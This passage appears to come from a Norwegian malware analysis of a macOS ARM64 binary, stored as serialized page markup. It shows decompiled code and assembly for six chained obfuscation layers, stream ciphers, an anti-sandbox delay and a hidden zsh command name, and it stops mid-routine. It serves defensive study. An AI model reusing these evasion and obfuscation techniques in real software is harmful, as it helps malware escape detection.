here\n","asm",[555,1146,1147,1152,1157,1162,1167,1173,1179,1185,1191,1197],{"__ignoreMap":585},[622,1148,1149],{"class":624,"line":625},[622,1150,1151],{},"10009f3fc:  stp xzr,xzr,[sp, #0x48]\n",[622,1153,1154],{"class":624,"line":631},[622,1155,1156],{},"10009f41c:  mov w0,#0x37e\n",[622,1158,1159],{"class":624,"line":849},[622,1160,1161],{},"10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n",[622,1163,1164],{"class":624,"line":866},[622,1165,1166],{},"10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n",[622,1168,1170],{"class":624,"line":1169},5,[622,1171,1172],{},"10009f428:  b.hi 0x10009fd44         ; exit if done\n",[622,1174,1176],{"class":624,"line":1175},6,[622,1177,1178],{},"10009f42c:  mov w8,w25               ; current state index\n",[622,1180,1182],{"class":624,"line":1181},7,[622,1183,1184],{},"10009f430:  adr x9,0x10009f440       ; base of jump table\n",[622,1186,1188],{"class":624,"line":1187},8,[622,1189,1190],{},"10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n",[622,1192,1194],{"class":624,"line":1193},9,[622,1195,1196],{},"10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n",[622,1198,1200],{"class":624,"line":1199},10,[622,1201,1202],{},"10009f43c:  br x9                    ; indirect branch, CFG broken here\n",[562,1204,1206],{"id":1205},"seks-stablede-obfuskeringslag","Seks stablede obfuskeringslag",[528,1208,568],{},[528,1210,1211,1212,1215],{},"Binaryen bruker seks ulike obfuskeringslag, stablet og lenket slik at utgangen fra hvert lag mates inn i det neste. Hver payload, hver streng, hver interne konstant er kodet. I ",[555,1213,1214],{},"__const","-segmentet dukker ingenting meningsfullt opp i klartekst. Det som følger er en fullstendig lag-for-lag-gjennomgang, verifisert direkte i Ghidra, ned til enkelte ARM64-instruksjoner. Hver av teknikkene som benyttes er kjent isolert; men den kjedede bruken over flere stadier skapte en sterkt gjensidig avhengig kjøringsflyt som gjorde både statisk og dynamisk analyse betydelig vanskeligere.",[538,1217],{},[706,1219,1221],{"id":1220},"layer-1-compile-time-triplet-koding","Layer 1: Compile-time triplet-koding",[528,1223,712],{},[528,1225,1226,1227,1230],{},"Ingen streng i binaryen er lagret som en tegnsekvens, men som en sekvens av 12-byte aritmetikk-tripletter. Hver triplet ",[555,1228,1229],{},"(a, b, shift)"," koder nøyaktig ett utgangstegn. Kodingsskjemaet anvendes på kompileringstidspunktet, slik at ingen streng noen gang finnes som klartekst i binaryen, ikke engang midlertidig ved lasting.",[528,1232,1233,1234,1237,1238,1241,1242,1245,1246,1237,1249,1252,1253,1256],{},"To separate decoder-funksjoner håndterer ulike strenglengder. ",[555,1235,1236],{},"FUN_100087c08"," på ",[555,1239,1240],{},"0x100087c08"," dekoder 60-tegns strenger (720 byte inndata fra ",[555,1243,1244],{},"DAT_1006292cc","). ",[555,1247,1248],{},"FUN_10007ad80",[555,1250,1251],{},"0x10007ad80"," dekoder 56-tegns strenger (672 byte fra ",[555,1254,1255],{},"DAT_10049708c","). Begge bruker samme algoritme.",[573,1258,1259],{"style":575},[1043,1260,1261,1264,1266,1269,1059,1271,1064,1273,1276,1277,1279,1280,1282,1283,1285,1286,1289,1290],{},[622,1262,1263],{"style":1047},"// FUN_100087c08 @ 0x100087c08",[1050,1265],{},[622,1267,1268],{"style":1047},"// Triplet decoder, 60 chars, data from DAT_1006292cc",[622,1270,1058],{"style":1057},[622,1272,1236],{"style":1062},[622,1274,1275],{"style":1057},"long"," *param_1)\n{\n  ",[622,1278,1275],{"style":1057}," *plVar1;\n  ",[622,1281,1058],{"style":1057}," *pvVar2;\n  ",[622,1284,1275],{"style":1057}," lVar3;\n  ",[622,1287,1288],{"style":1057},"uint"," *puVar4;\n",[528,1291,1292,1293,1064,1296,1299,1300,1305,1308,1309,1299,1311,1314,1316,1319,1320,1323,1324,1299,1327,1330,1331,1333,1334,1097,1336,1338,1339,1342,1343,1346,1347,1349,1350,1353,1354,1357,1358,1097,1361,1363,1364,1367,1368,1371,1373,1376,1377,1097,1379,1381,1382,1384,1385,1387,1388,1393,1394,1397,1398,1403,1404,1407,1408,1410,1411,1416,1417,1419,1420,1422,1423,1426,1427,1430,1431,1299,1433,1436,1438,1441,1442,1113],{},"pvVar2 = ",[622,1294,1295],{"style":1062},"operator_new",[622,1297,1298],{"style":1083},"0x2d0","); ",[622,1301,1302,1303],{"style":1047},"// allocate 720 bytes (60 triplets × 12)",[1050,1304],{},[622,1306,1307],{"style":1062},"_memcpy","(pvVar2, &DAT_1006292cc, ",[622,1310,1298],{"style":1083},[622,1312,1313],{"style":1047},"// copy encoded triplets from __const",[1050,1315],{},[622,1317,1318],{"style":1062},"FUN_1000a0840","(param_1, ",[622,1321,1322],{"style":1083},"0x3c",", ",[622,1325,1326],{"style":1083},"0",[622,1328,1329],{"style":1047},"// init 60-char output buffer","\nlVar3 = ",[622,1332,1326],{"style":1083},";\npuVar4 = (",[622,1335,1288],{"style":1057},[622,1337,1275],{"style":1057},")pvVar2 + ",[622,1340,1341],{"style":1083},"8",");\n",[622,1344,1345],{"style":1057},"do"," {\nplVar1 = (",[622,1348,1275],{"style":1057}," _)_param_1;\n",[622,1351,1352],{"style":1057},"if"," (-",[622,1355,1356],{"style":1083},"1"," \u003C _(",[622,1359,1360],{"style":1057},"char",[622,1362,1275],{"style":1057},")param_1 + ",[622,1365,1366],{"style":1083},"0x17",")) {\nplVar1 = param_1;\n}\n",[622,1369,1370],{"style":1047},"// THE DECODE FORMULA, one character per triplet:",[1050,1372],{},[622,1374,1375],{"style":1047},"// char = ((b _ 3) XOR a) >> shift) - b","\n_(",[622,1378,1360],{"style":1057},[622,1380,1275],{"style":1057},")plVar1 + lVar3) =\n(",[622,1383,1360],{"style":1057},")((",[622,1386,1070],{"style":1057},")(puVar4",[622,1389,1390,1391],{},"-",[622,1392,1356],{"style":1083}," * ",[622,1395,1396],{"style":1083},"3"," ^ puVar4",[622,1399,1390,1400],{},[622,1401,1402],{"style":1083},"2",") >> (*puVar4 & ",[622,1405,1406],{"style":1083},"0x1f",")) - (",[622,1409,1360],{"style":1057},")puVar4",[622,1412,1413],{},[622,1414,1415],{"style":1083},"-1",";\nlVar3 = lVar3 + ",[622,1418,1356],{"style":1083},";\npuVar4 = puVar4 + ",[622,1421,1396],{"style":1083},"; ",[622,1424,1425],{"style":1047},"// advance 12 bytes — next triplet","\n} ",[622,1428,1429],{"style":1057},"while"," (lVar3 != ",[622,1432,1322],{"style":1083},[622,1434,1435],{"style":1047},"// loop exactly 60 times",[1050,1437],{},[622,1439,1440],{"style":1062},"operator_delete","(pvVar2);\n",[622,1443,1112],{"style":1057},[528,1445,1446],{},"Den tilsvarende ARM64-assemblyen, der hver instruksjon svarer direkte til en operasjon i formelen:",[573,1448,1449],{"style":575},[577,1450,1453],{"className":1451,"code":1452,"language":582},[580],"100087c48:  add x9,x20,#0x8\n100087c4c:  ldp w10,w11,[x9, #-0x8]   ; load a → w10,  b → w11\n100087c50:  add w12,w11,w11, LSL #0x1 ; w12 = b + (b \u003C\u003C 1) = b * 3\n                                       ; (compiler avoids MUL instruction)\n100087c54:  eor w10,w12,w10           ; w10 = (b*3) XOR a\n100087c58:  ldr w12,[x9], #0xc        ; w12 = shift value; post-increment by 12\n100087c5c:  asr w10,w10,w12           ; arithmetic right shift — sign bit preserved\n100087c60:  sub w10,w10,w11           ; subtract b — final decoded character\n100087c74:  strb w10,[x11, x8, LSL ]  ; store one byte to output buffer\n100087c78:  add x8,x8,#0x1\n100087c7c:  cmp x8,#0x3c              ; loop counter vs. 60\n100087c80:  b.ne 0x100087c4c          ; continue until all 60 chars decoded\n",[555,1454,1452],{"__ignoreMap":585},[528,1456,1457,1458,1461,1462,1465],{},"Verdt å merke seg: multiplikasjonen ",[555,1459,1460],{},"b × 3"," er implementert som ",[555,1463,1464],{},"add w12, w11, w11, LSL #1",", en shift-and-add som helt unngår en multiplikasjonsinstruksjon. Det er en klassisk kompilatoroptimalisering, som samtidig gjør koden vanskeligere å finne via signature matching.",[528,1467,1468],{},"Den fullstendige dekodingsformelen:",[573,1470,1471],{"style":575},[577,1472,1475],{"className":1473,"code":1474,"language":582},[580],"char = ASR( (b × 3) XOR a, shift ) − b\n",[555,1476,1474],{"__ignoreMap":585},[528,1478,1479,1482,1483,1486,1487,1490],{},[555,1480,1481],{},"ASR"," (Arithmetic Shift Right) er avgjørende: den bevarer fortegnsbiten. Hvis mellomresultatet av ",[555,1484,1485],{},"(b×3) XOR a"," er negativt, noe som er vanlig, ville et logisk shift gitt et helt annet resultat. Det er tilsiktet: den som reimplementerer formelen i et høynivåspråk med ",[555,1488,1489],{},">>",", får stille og rolig feilaktige utdata med mindre fortegnsaritmetikken håndteres eksplisitt.",[528,1492,1493,1494,1496,1497,1499,1500,1503],{},"56-tegns-varianten ",[555,1495,1248],{}," er strukturelt identisk, opererer på ",[555,1498,1255],{}," med en løkkegrense på ",[555,1501,1502],{},"0x38",". Begge funksjonene ble bekreftet live i Ghidra under denne analysen.",[538,1505],{},[706,1507,1509],{"id":1508},"layer-2-hex-streng-koding","Layer 2: Hex-streng-koding",[528,1511,712],{},[528,1513,1514,1515,1518,1519,1237,1522,1525,1526,1529],{},"Rå-bytene som Layer 1 produserer, er selv ASCII-hex-tegn, ikke binærdata. Utgangen fra en Layer 1-triplet-dekoding er en streng av hex-par: ",[555,1516,1517],{},"32694e5462...",". Dette bekreftes av decoder-funksjonen ",[555,1520,1521],{},"FUN_100000dc0",[555,1523,1524],{},"0x100000dc0",", som implementerer en hex-dekoding via en lookup-tabell på ",[555,1527,1528],{},"DAT_1007bb591",".",[528,1531,1532,1533,1390,1536,1323,1539,1390,1542,1323,1545,1390,1548,1551],{},"Ghidra-dekompileringen viser en switch-setning som mapper hvert hex-tegn (",[555,1534,1535],{},"0x30",[555,1537,1538],{},"0x39",[555,1540,1541],{},"0x41",[555,1543,1544],{},"0x46",[555,1546,1547],{},"0x61",[555,1549,1550],{},"0x66",") til nibble-verdien og setter sammen utgangsbyter to tegn av gangen:",[573,1553,1554],{"style":575},[1043,1555,1556,1559,1562,1565,1566,1569,1570,1572,1573,1059,1576,1578,1579,1582,1583,939,1586,1059,1588,1591,1592,1422,1595,1597,1598,939,1601,1059,1603,1591,1606,1422,1609,1597,1611,939,1614,939,1617,1059,1619,1578,1621,1059,1623,1591,1625,1422,1628,1630,1631,939,1634,1059,1636,1578,1639,1059,1641,1591,1644,1422,1647,1630,1649,939,1652,1059,1654,1578,1657,1059,1659,1662,1663,1422,1666,1630,1668,939,1671,1059,1673,1578,1676,1059,1678,1681,1682,1422,1685,1630,1687,939,1690,1059,1692,1578,1695,1059,1697,1591,1700,1422,1703,1630,1705,939,1708,1059,1710,1578,1712,1059,1714,1591,1716,1422,1719,1630,1721,1724,1725,1728,1729,1569,1732,1734,1735,1737,1738,1741],{},[622,1557,1558],{"style":1047},"// FUN_100000dc0 @ 0x100000dc0",[622,1560,1561],{"style":1047},"// Hex decoder, processes input two characters per output byte",[622,1563,1564],{"style":1057},"switch","(*(",[622,1567,1568],{"style":1057},"undefined1"," *)((",[622,1571,1275],{"style":1057},")plVar2 + lVar7)) {\n  ",[622,1574,1575],{"style":1057},"case",[622,1577,1535],{"style":1083},": ",[622,1580,1581],{"style":1057},"break",";                  ",[622,1584,1585],{"style":1047},"// '0' → 0x00",[622,1587,1575],{"style":1057},[622,1589,1590],{"style":1083},"0x31",": bVar9 = ",[622,1593,1594],{"style":1083},"0x10",[622,1596,1581],{"style":1057},";   ",[622,1599,1600],{"style":1047},"// '1' → 0x10",[622,1602,1575],{"style":1057},[622,1604,1605],{"style":1083},"0x32",[622,1607,1608],{"style":1083},"0x20",[622,1610,1581],{"style":1057},[622,1612,1613],{"style":1047},"// '2' → 0x20",[622,1615,1616],{"style":1047},"// ... '3' through '9' ...",[622,1618,1575],{"style":1057},[622,1620,1541],{"style":1083},[622,1622,1575],{"style":1057},[622,1624,1547],{"style":1083},[622,1626,1627],{"style":1083},"0xa0",[622,1629,1581],{"style":1057},";  ",[622,1632,1633],{"style":1047},"// 'A'/'a' → 0xa0",[622,1635,1575],{"style":1057},[622,1637,1638],{"style":1083},"0x42",[622,1640,1575],{"style":1057},[622,1642,1643],{"style":1083},"0x62",[622,1645,1646],{"style":1083},"0xb0",[622,1648,1581],{"style":1057},[622,1650,1651],{"style":1047},"// 'B'/'b' → 0xb0",[622,1653,1575],{"style":1057},[622,1655,1656],{"style":1083},"0x43",[622,1658,1575],{"style":1057},[622,1660,1661],{"style":1083},"99",":   bVar9 = ",[622,1664,1665],{"style":1083},"0xc0",[622,1667,1581],{"style":1057},[622,1669,1670],{"style":1047},"// 'C'/'c' → 0xc0",[622,1672,1575],{"style":1057},[622,1674,1675],{"style":1083},"0x44",[622,1677,1575],{"style":1057},[622,1679,1680],{"style":1083},"100",":  bVar9 = ",[622,1683,1684],{"style":1083},"0xd0",[622,1686,1581],{"style":1057},[622,1688,1689],{"style":1047},"// 'D'/'d' → 0xd0",[622,1691,1575],{"style":1057},[622,1693,1694],{"style":1083},"0x45",[622,1696,1575],{"style":1057},[622,1698,1699],{"style":1083},"0x65",[622,1701,1702],{"style":1083},"0xe0",[622,1704,1581],{"style":1057},[622,1706,1707],{"style":1047},"// 'E'/'e' → 0xe0",[622,1709,1575],{"style":1057},[622,1711,1544],{"style":1083},[622,1713,1575],{"style":1057},[622,1715,1550],{"style":1083},[622,1717,1718],{"style":1083},"0xf0",[622,1720,1581],{"style":1057},[622,1722,1723],{"style":1047},"// 'F'/'f' → 0xf0","\n}\n",[622,1726,1727],{"style":1047},"// Second nibble from lookup table at DAT_1007bb591","\n*(",[622,1730,1731],{"style":1057},"byte",[622,1733,1275],{"style":1057},")pppppppuVar3 + uVar8) =\n    (&DAT_1007bb591)[(",[622,1736,1100],{"style":1057},")uVar4 & ",[622,1739,1740],{"style":1083},"0xff","] | bVar9;\n",[528,1743,1744],{},"ARM64-assemblyen driver dette med en sekundær computed-branch-tabell og implementerer i praksis en 55-elements hopptabell for switchen:",[573,1746,1747],{"style":575},[577,1748,1751],{"className":1749,"code":1750,"language":582},[580],"100000e5c:  adr x17,0x100000e6c      ; base of case-dispatch table\n100000e60:  ldrb w0,[x12, x16, LSL ] ; load offset for this hex char\n100000e64:  add x17,x17,x0, LSL #0x2 ; compute dispatch address\n100000e68:  br x17                   ; jump — second computed branch in 24 bytes\n",[555,1752,1750],{"__ignoreMap":585},[528,1754,1755],{},"To beregnede branches i et 24-byte-vindu. Statiske analyseverktøy takler ikke dette mønsteret, fordi begge branch-målene er ukjente på analysetidspunktet.",[528,1757,1758],{},"En hex-streng på 137 208 tegn gir 68 604 byte etter dekoding, som deretter mates videre inn i Layer 3.",[538,1760],{},[706,1762,1764],{"id":1763},"layer-3-egendefinert-16-symbol-nibble-alfabet","Layer 3: Egendefinert 16-symbol nibble-alfabet",[528,1766,712],{},[528,1768,1769],{},"De 68 604 utgangsbytene fra Layer 2 bruker kun 16 unike byteverdier fra to ikke-sammenhengende ASCII-områder:",[1771,1772,1773,1822],"ul",{},[1774,1775,1776,1779,1780,1323,1783,1323,1786,1323,1789,1323,1792,1323,1795,1323,1798,1323,1801,1323,1803,1323,1806,1323,1809,1323,1812,1323,1815,1323,1817,1323,1819],"li",{},[555,1777,1778],{},"0x20-0x2F",": mellomrom, ",[555,1781,1782],{},"!",[555,1784,1785],{},"\"",[555,1787,1788],{},"#",[555,1790,1791],{},"$",[555,1793,1794],{},"%",[555,1796,1797],{},"&",[555,1799,1800],{},"'",[555,1802,1064],{},[555,1804,1805],{},")",[555,1807,1808],{},"*",[555,1810,1811],{},"+",[555,1813,1814],{},",",[555,1816,1390],{},[555,1818,1529],{},[555,1820,1821],{},"/",[1774,1823,1824,1578,1827,1323,1830,1323,1833,1323,1836,1323,1839,1323,1842,1323,1845,1848],{},[555,1825,1826],{},"0x78-0x7F",[555,1828,1829],{},"x",[555,1831,1832],{},"y",[555,1834,1835],{},"z",[555,1837,1838],{},"{",[555,1840,1841],{},"|",[555,1843,1844],{},"}",[555,1846,1847],{},"~",", DEL",[528,1850,1851],{},"Det er en bevisst designbeslutning. I en hex-editor ser disse bytene ut som mellomrom, skilletegn og ASCII-randtegn; de forsvinner i støyen av det som virker som metadata eller padding. En analytiker som skummer en hex-dump vil ikke flagge disse byteområdene som mistenkelige, og standard entropianalyse undervurderer den effektive entropien fordi bytefordelingen ikke ser tilfeldig ut.",[528,1853,1854,1855,1858,1859,1862,1863,1866,1867,1870],{},"Hver byte fra dette alfabetet koder en nibble av selve payloaden. Alfabet-til-nibble-tilordningen anvendes av encode/decode-funksjonen ",[555,1856,1857],{},"FUN_100000d60",", som vi bekreftet på ",[555,1860,1861],{},"0x100000d60",". Den lenker sammen to sub-funksjoner: ",[555,1864,1865],{},"FUN_100000b50"," bygger en indeksert map over tegnene i inn-strengen, og ",[555,1868,1869],{},"FUN_100000c34"," går gjennom denne mappen, konsumerer 6 bit per steg og akkumulerer utgangsbyter 8 bit av gangen:",[573,1872,1873],{"style":575},[1043,1874,1875,1878,1879,1881,1882,1884,1885,1887,1888,1891,1892,939,1895,1897,1898,1900,1901,943,1904,1906,1907,1910,1911,1913,1914,943,1917,1919,1920,1923,1924,1927,1928,1930,1931,1934,1935,1937,1938,1569,1941,1943,1944,1946,1947,1949],{},[622,1876,1877],{"style":1047},"// FUN_100000c34 @ 0x100000c34, nibble accumulator","\niVar5 = ",[622,1880,1326],{"style":1083},";\n",[622,1883,1345],{"style":1057}," {\n  local_52 = *(",[622,1886,1568],{"style":1057}," *)puVar4;\n  lVar3 = ",[622,1889,1890],{"style":1062},"FUN_1000a078c","(param_3, &local_52);  ",[622,1893,1894],{"style":1047},"// look up nibble value",[622,1896,1352],{"style":1057}," (lVar3 == ",[622,1899,1326],{"style":1083},") {\n    ",[622,1902,1903],{"style":1047},"// character not in alphabet, treat as raw",[622,1905,1890],{"style":1062},"(param_3, &local_51);\n  } ",[622,1908,1909],{"style":1057},"else"," {\n    iVar5 = iVar5 + ",[622,1912,1104],{"style":1083},";           ",[622,1915,1916],{"style":1047},"// accumulate 4 bits",[622,1918,1429],{"style":1057}," (",[622,1921,1922],{"style":1083},"7"," \u003C iVar5) {\n      std::string::",[622,1925,1926],{"style":1062},"push_back","((",[622,1929,1360],{"style":1057},")param_1);  ",[622,1932,1933],{"style":1047},"// emit byte when 8+ bits ready","\n      iVar5 = iVar5 + -",[622,1936,1341],{"style":1083},";\n    }\n  }\n  puVar4 = (",[622,1939,1940],{"style":1057},"undefined8",[622,1942,1275],{"style":1057},")puVar4 + ",[622,1945,1356],{"style":1083},");\n} ",[622,1948,1429],{"style":1057}," (puVar4 != puVar1);\n",[528,1951,1952],{},"De 34 302 bytene som kommer ut av dette gjennomløpet er 99,7 % skrivbar ASCII. Ved første flyktige blikk ser payloaden på dette stadiet ut som et stort shell-skript eller en konfigurasjons-blob.",[538,1954],{},[706,1956,1958],{"id":1957},"layer-4-compile-time-strengobfuskering","Layer 4: Compile-time-strengobfuskering",[528,1960,712],{},[528,1962,1963],{},"Interne strenger obfuskeres på kompileringstidspunktet med samme triplet-skjema som Layer 1 og rekonstrueres i runtime rett før de brukes. I minnet ligger de aldri lenger enn nødvendig; bufferen frigjøres umiddelbart etter forbruk. I binaryens statiske datasegmenter er ingen dekodet streng synlig på noe tidspunkt.",[528,1965,1966,1967,1970],{},"Streng-hash-funksjonen ",[555,1968,1969],{},"FUN_100000730"," gir et sekundært obfuskeringslag for strengsammenligninger. I stedet for å sammenligne strenger direkte, noe som ville etterlate klartekst i minnet, beregner og sammenligner binaryen heltalls-hasher:",[573,1972,1973],{"style":575},[1043,1974,1975,1978,1981,1059,1983,1064,1985,1276,1987,1989,1990,1993,1994,939,1997,939,2000,2003,2004,2006,2007,2009,2010,2012,2013,1630,2016,2019,2020,2022,2023,2025],{},[622,1976,1977],{"style":1047},"// FUN_100000730 @ 0x100000730",[622,1979,1980],{"style":1047},"// FNV-style string hash, avoids plaintext string comparisons",[622,1982,1070],{"style":1057},[622,1984,1969],{"style":1062},[622,1986,1360],{"style":1057},[622,1988,1070],{"style":1057}," iVar4 = ",[622,1991,1992],{"style":1083},"0x19a8",";    ",[622,1995,1996],{"style":1047},"// FNV offset basis (modified)",[622,1998,1999],{"style":1047},"// ...",[622,2001,2002],{"style":1057},"for"," (; uVar3 != ",[622,2005,1326],{"style":1083},"; uVar3 = uVar3 - ",[622,2008,1356],{"style":1083},") {\n    iVar4 = (",[622,2011,1070],{"style":1057},")*pcVar1 + iVar4 * -",[622,2014,2015],{"style":1083},"0x7fb91be3",[622,2017,2018],{"style":1047},"// FNV-1a style multiply","\n    pcVar1 = pcVar1 + ",[622,2021,1356],{"style":1083},";\n  }\n  ",[622,2024,1112],{"style":1057}," iVar4;\n}\n",[528,2027,2028],{},"ARM64-assemblyen erstatter multiplikasjonen med en fused multiply-add:",[573,2030,2031],{"style":575},[577,2032,2035],{"className":2033,"code":2034,"language":582},[580],"100000744:  mov w0,#0x19a8            ; FNV basis\n100000750:  mov w10,#0xe41d\n100000754:  movk w10,#0x8046, LSL #16 ; constant = 0x8046e41d = -0x7fb91be3\n100000758:  ldrsb w11,[x8], #0x1      ; load char, post-increment\n10000075c:  madd w0,w0,w10,w11        ; w0 = w0 * 0x8046e41d + char\n100000760:  subs x9,x9,#0x1\n100000764:  b.ne 0x100000758\n",[555,2036,2034],{"__ignoreMap":585},[528,2038,2039],{},"Det betyr at selv en sammenligning av to strenger inne i binaryen ikke produserer en branch som en debugger kan fange rent på strengnivå, kun på hash-nivå.",[538,2041],{},[706,2043,2045],{"id":2044},"layer-5-to-custom-stream-cipher-instanser","Layer 5: To custom stream-cipher-instanser",[528,2047,712],{},[528,2049,2050,2051,2054],{},"Her blir obfuskeringsarkitekturen uvanlig. I binaryen kjører ikke én, men ",[771,2052,2053],{},"to separate cipher-instanser",", hver med en ulik hardkodet lookup-tabell og en ulik startteller. Begge bruker den samme algoritmestrukturen, men produserer forskjellige utgangsalfabeter for ulike deler av payload-pipelinen.",[528,2056,2057,1323,2060,1237,2063,2066],{},[771,2058,2059],{},"Instans A",[555,2061,2062],{},"FUN_10007ab34",[555,2064,2065],{},"0x10007ab34",":",[573,2068,2069],{"style":575},[1043,2070,2071,2074,2075,1881,2078,2080,2081,1569,2083,2085,2086,2088,2089,1569,2091,2093,2094,2096,2097,1569,2099,2101,2102,2104,2105,2108,2109,2111,2112,2114],{},[622,2072,2073],{"style":1047},"// Instance A, start counter 0x4c, table @ 0x100496f8b","\nuVar6 = ",[622,2076,2077],{"style":1083},"0x4c",[622,2079,1345],{"style":1057}," {\n  bVar2 = *(",[622,2082,1731],{"style":1057},[622,2084,1275],{"style":1057},")local_e0 +\n          ((",[622,2087,1100],{"style":1057},")(*(",[622,2090,1731],{"style":1057},[622,2092,1275],{"style":1057},")local_c8 + uVar5) ^ uVar6) & ",[622,2095,1740],{"style":1083},"));\n  *(",[622,2098,1731],{"style":1057},[622,2100,1275],{"style":1057},")plVar1 + uVar5) = bVar2;\n  uVar6 = (",[622,2103,1070],{"style":1057},")uVar5 + (uVar6 ^ bVar2);  ",[622,2106,2107],{"style":1047},"// counter: i + (counter XOR output)","\n  uVar5 = uVar5 + ",[622,2110,1356],{"style":1083},";\n} ",[622,2113,1429],{"style":1057}," (uVar7 != uVar5);\n",[528,2116,2117,1323,2120,1237,2123,2066],{},[771,2118,2119],{},"Instans B",[555,2121,2122],{},"FUN_10007a7e0",[555,2124,2125],{},"0x10007a7e0",[573,2127,2128],{"style":575},[1043,2129,2130,2074,2133,1881,2136,2080,2138,1569,2140,2142,2143,2088,2145,1569,2147,2149,2150,2096,2152,1569,2154,2101,2156,2104,2158,2108,2161,2111,2163,2114],{},[622,2131,2132],{"style":1047},"// Instance B, start counter 0x9f, different table @ 0x100496e0a region",[622,2134,2135],{"style":1083},"0x9f",[622,2137,1345],{"style":1057},[622,2139,1731],{"style":1057},[622,2141,1275],{"style":1057},")local_c0 +\n          ((",[622,2144,1100],{"style":1057},[622,2146,1731],{"style":1057},[622,2148,1275],{"style":1057},")local_a8 + uVar5) ^ uVar6) & ",[622,2151,1740],{"style":1083},[622,2153,1731],{"style":1057},[622,2155,1275],{"style":1057},[622,2157,1070],{"style":1057},[622,2159,2160],{"style":1047},"// identical counter update formula",[622,2162,1356],{"style":1083},[622,2164,1429],{"style":1057},[528,2166,2167,2168,2170,2171,2173],{},"Algoritmen er strukturelt identisk, men startlteller er forskjellig (",[555,2169,2077],{}," vs. ",[555,2172,2135],{},") og lookup-tabellene ligger på ulike minneadresser. Instans A kalles fra tilstand 11 i tilstandsmaskinen for å produsere kodingsalfabetet for den første payload-veien. Instans B kalles fra tilstand 6 for å produsere alfabetet som brukes til å dekode det store shell-skript-payloaden.",[528,2175,2176,2177,2180,2181,2184,2185,2188],{},"Presist formulert: det dreier seg om en ",[771,2178,2179],{},"substitusjonschiffer med tellerbasert indeks",". Hver utgangsbyte er et tabelloppslag, der indeksen er ",[555,2182,2183],{},"(input_byte XOR counter) & 0xFF",". Telleren oppdateres etter hver byte som ",[555,2186,2187],{},"counter = (i + (counter XOR output)) & 0xFF",", noe som betyr at hver utgangsbyte påvirker bestemmelsen av neste lookup-indeks. Dette gir en avhengighetskjede over hele utgangssekvensen: byte N kan ikke dekrypteres uten at bytene 0 til N-1 er dekryptert korrekt. Delvis dekryptering og feilanalyse blir dermed betydelig vanskeligere.",[528,2190,2191],{},"Ingen av instansene er standard RC4. Det finnes ingen S-Box-initialiseringsfase, ingen S-Box-swap-operasjon. Lookup-tabellene er statiske konstanter innebygd på kompileringstidspunktet.",[538,2193],{},[706,2195,2197],{"id":2196},"layer-6-runtime-xor-med-exit-code-avhengig-nøkkel","Layer 6: Runtime-XOR med exit-code-avhengig nøkkel",[528,2199,712],{},[528,2201,2202,2203,2206],{},"Det siste og analytisk mest krevende laget påfører en in-place-XOR-transformasjon på stage-2-payloaden. XOR-nøkkelen er ikke hardkodet, men avledet i runtime fra exit-koden til ",[771,2204,2205],{},"den første shell-payload-kjøringen",", og kan dermed prinsipielt ikke bestemmes via statisk analyse. Binaryen må faktisk kjøres og det første shell-skriptet må kjøre til ende før nøkkelen i det hele tatt eksisterer.",[528,2208,2209],{},"Nøkkelavledningssekvensen i ARM64-state-machine-dispatcheren:",[573,2211,2212],{"style":575},[577,2213,2216],{"className":2214,"code":2215,"language":582},[580],"; After shell_exec_via_pipe #1 returns, exit code is in w0\n10009f838:  ubfx w8,w0,#0x8,#0x8     ; extract bits [15:8] of exit status\n10009f83c:  mov w9,#0x7f0             ; multiplier constant\n10009f840:  madd w8,w8,w9,w26         ; key = (exit_byte × 0x7f0) + base_counter\n10009f844:  and w24,w8,#0xffff        ; mask to 16-bit key → stored in w24\n",[555,2217,2215],{"__ignoreMap":585},[528,2219,2220],{},"XOR-løkken som prosesserer stage-2-payloaden:",[573,2222,2223],{"style":575},[577,2224,2227],{"className":2225,"code":2226,"language":582},[580],"; In-place XOR, every byte of the payload is XORed with w24\n10009fc34:  ldrb w10,[x8, x9, LSL ]  ; load payload byte\n10009fc48:  eor w10,w10,w24          ; XOR with key\n10009fc4c:  strb w10,[x8, x9, LSL ]  ; write decrypted byte in place\n",[555,2228,2226],{"__ignoreMap":585},[528,2230,2231,2232,2235,2236,2239,2240,2242],{},"Nøkkelen er en 16-bits verdi, avledet fra exit-status-byten til den første shell-payloaden, multiplisert med ",[555,2233,2234],{},"0x7f0"," og lagt til den aktuelle verdien av tilstandsmaskinens basetellerregister ",[555,2237,2238],{},"w26",". Multiplikasjonskonstanten ",[555,2241,2234],{}," gjør at én bit forskjell i exit-koden gir en helt annen nøkkel. Det er ingen utnyttbar kontinuitet mellom nabo-nøkkelverdier.",[528,2244,2245],{},"Uten å kjøre binaryen i et kontrollert miljø og registrere den nøyaktige exit-koden til den første shell-payloaden, forblir stage-2-payloaden permanent ugjennomtrengelig for statisk analyse. Det var den vanskeligste hindringen i hele analysen.",[538,2247],{},[562,2249,2251],{"id":2250},"shell-kjøring-pipes-i-stedet-for-argumenter-og-simd-xor","Shell-kjøring: pipes i stedet for argumenter, og SIMD-XOR",[528,2253,568],{},[528,2255,2256,2257,1237,2260,2263],{},"Shell-kjøringsfunksjonen ",[555,2258,2259],{},"FUN_10000091c",[555,2261,2262],{},"0x10000091c"," er den arkitektonisk mest interessante komponenten i binaryen. Her løper alt sammen: den dekodede payloaden, det obfuskerte kommandonavnet og det eksplisitte anti-forensikk-designet. Hver designbeslutning i denne funksjonen tjener et spesifikt evasjonsformål.",[706,2265,2267],{"id":2266},"steg-1-kommandonavnet-forekommer-aldri-i-klartekst","Steg 1: Kommandonavnet forekommer aldri i klartekst",[528,2269,712],{},[528,2271,2272,2275,2276,2279,2280,2283,2284,2287],{},[555,2273,2274],{},"/bin/zsh"," finnes ingen steder i binaryen som klartekst. I ",[555,2277,2278],{},"__cstring","-seksjonen på ",[555,2281,2282],{},"0x1007bb5c8"," ligger strengen som obfuskerte byter ",[555,2285,2286],{},"\\x01LG@\\x01T]F",". Dekoding skjer i runtime via en enkelt XOR-operasjon, verifiserbar direkte i ARM64-assemblyen:",[573,2289,2290],{"style":575},[577,2291,2294],{"className":2292,"code":2293,"language":582},[580],"; FUN_10000091c — command name decode via SIMD XOR\n100000960:  adrp x8,0x1007bb000\n100000964:  add x8,x8,#0x5c8          ; x8 → \"\\x01LG@\\x01T]F\" in __cstring\n100000968:  ldr x8,[x8]               ; load 8 obfuscated bytes as uint64\n10000096c:  str x8,[sp, #0x20]\n100000970:  strb wzr,[sp, #0x28]      ; null terminator\n\n100000974:  